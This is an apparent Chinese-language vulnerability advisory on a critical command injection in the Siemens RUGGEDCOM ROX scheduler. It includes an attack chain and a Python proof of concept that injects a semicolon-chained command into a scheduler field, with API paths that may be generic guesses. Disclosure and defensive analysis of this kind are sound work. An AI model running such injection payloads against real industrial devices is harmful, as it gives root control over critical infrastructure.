IPBUF安全漏洞报告
English
CVE-2025-40949 CVSS 9.1 严重

Siemens RUGGEDCOM ROX 计划任务命令注入漏洞 (CVE-2025-40949)

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2025-40949
漏洞类型
命令注入 / 远程代码执行 (RCE)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Siemens RUGGEDCOM ROX MX5000, MX5000RE, RX1400, RX1500, RX1501, RX1510, RX1511, RX1512, RX1524, RX1536, RX5000

相关标签

CVE-2025-40949RCECommand InjectionSiemensRUGGEDCOMICSSCADACriticalRoot Privileges

漏洞概述

Siemens RUGGEDCOM ROX 系列工业设备被发现存在一个严重的命令注入漏洞(CVE-2025-40949),CVSS v3.1 评分为 9.1。该漏洞源于设备 Web UI 的计划任务功能未能正确过滤和清理用户提供的输入数据。攻击者可以利用这一缺陷,将恶意的操作系统命令注入到后端任务调度系统中。由于攻击复杂度低且无需用户交互,拥有设备高权限账号的远程攻击者即可发起攻击。成功利用该漏洞后,攻击者能够以 root 权限在底层操作系统上执行任意代码,从而完全控制受影响设备,导致机密性、完整性和可用性全面受损。受影响的产品涵盖了多个型号,且所有低于 V2.17.1 的版本均处于风险之中。

技术细节

该漏洞的核心技术原理在于 Siemens RUGGEDCOM ROX 设备 Web 管理界面的“Scheduler”模块存在输入验证缺失。在工业控制系统中,计划任务功能通常允许管理员配置定期执行的脚本或系统维护命令。然而,在受影响版本中,当管理员通过 Web UI 提交计划任务配置时,后端应用程序未对输入参数(如任务命令字段)进行严格的边界检查或特殊字符转义。

具体而言,攻击者可以通过构造包含操作系统命令元字符(如 `;`, `&`, `|`, `` ` `` 或 `$()`)的恶意数据包,将其发送至计划任务的 API 接口。由于缺乏清理机制,后端处理程序会将这些数据直接传递给底层的 Shell 解释器执行。根据 CVSS 向量分析,该漏洞攻击路径为网络(AV:N),攻击复杂度低(AC:L),但需要攻击者具备高权限(PR:H)。这意味着攻击者首先需要获得管理员级别的 Web 访问权限,这通常通过暴力破解、凭据窃取或利用其他低权限漏洞实现。

一旦命令注入成功,由于 Web 服务进程通常以 root 权限运行(或该功能提权至 root),注入的命令将以最高权限执行。CVSS 向量中的范围改变(S:C)表明,利用该漏洞不仅限于 Web 应用本身,还会影响底层操作系统及其他服务。攻击者可借此建立持久化后门、修改系统配置、窃取敏感通信数据或破坏网络连接,对关键基础设施构成严重威胁。

攻击链分析

STEP 1
1. 信息收集与凭证获取
攻击者扫描网络发现 Siemens RUGGEDCOM ROX 设备,并通过钓鱼、爆破或利用其他漏洞获取具有高权限(Admin/Root)的 Web UI 登录凭证。
STEP 2
2. 访问计划任务功能
攻击者使用获取的凭证登录 Web 管理界面,导航至“Scheduler”或“Task Scheduling”配置页面,准备添加新的计划任务。
STEP 3
3. 构造并注入恶意命令
攻击者在任务执行命令的输入框中,在正常命令后拼接 Shell 元字符(如分号)及恶意系统命令(如反弹 Shell 或写入后门),利用缺乏输入过滤的缺陷进行注入。
STEP 4
4. 命令执行与权限提升
设备后端接收请求并将未经过滤的参数传递给系统 Shell 执行。由于服务运行权限较高,恶意命令以 Root 权限在底层操作系统上运行。
STEP 5
5. 建立控制与持久化
攻击者获得系统控制权,可进一步植入恶意软件、窃取数据或破坏设备功能,实现对工业网络组件的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "https://<device_ip>/api/scheduler" USERNAME = "admin" PASSWORD = "password" # Payload command to execute (e.g., creating a file as proof of concept) # The payload attempts to inject a command after a legitimate one using a semicolon MALICIOUS_COMMAND = "; touch /tmp/pwned_by_cve_2025_40949" def exploit(): session = requests.Session() # Step 1: Authenticate to the device (High privileges required) login_data = { "username": USERNAME, "password": PASSWORD } print("[*] Attempting to login...") response = session.post(f"https://<device_ip>/api/login", json=login_data, verify=False) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send payload to the Scheduler functionality # The vulnerability lies in the 'command' parameter not being sanitized payload_data = { "task_name": "Maintenance_Check", "schedule_time": "02:00", "command": f"/usr/bin/legitimate_check.sh {MALICIOUS_COMMAND}" } print(f"[*] Sending payload to {TARGET_URL}...") exploit_response = session.post(TARGET_URL, json=payload_data, verify=False) if exploit_response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Failed to send payload. Status code: {exploit_response.status_code}") if __name__ == "__main__": exploit()

影响范围

RUGGEDCOM ROX MX5000 (All versions < V2.17.1)
RUGGEDCOM ROX MX5000RE (All versions < V2.17.1)
RUGGEDCOM ROX RX1400 (All versions < V2.17.1)
RUGGEDCOM ROX RX1500 (All versions < V2.17.1)
RUGGEDCOM ROX RX1501 (All versions < V2.17.1)
RUGGEDCOM ROX RX1510 (All versions < V2.17.1)
RUGGEDCOM ROX RX1511 (All versions < V2.17.1)
RUGGEDCOM ROX RX1512 (All versions < V2.17.1)
RUGGEDCOM ROX RX1524 (All versions < V2.17.1)
RUGGEDCOM ROX RX1536 (All versions < V2.17.1)
RUGGEDCOM ROX RX5000 (All versions < V2.17.1)

防御指南

临时缓解措施
在无法立即进行固件升级的情况下,建议采取以下临时缓解措施:首先,通过网络访问控制列表(ACL)严格限制对设备 Web UI(HTTPS 端口)的访问源,确保仅授权的管理员IP可以连接。其次,禁用或严格限制非必要的计划任务功能。最后,加强账号安全审计,确保所有高权限账号的密码强度足够且未泄露,防止攻击者通过凭证获取利用该漏洞的前提条件。

参考链接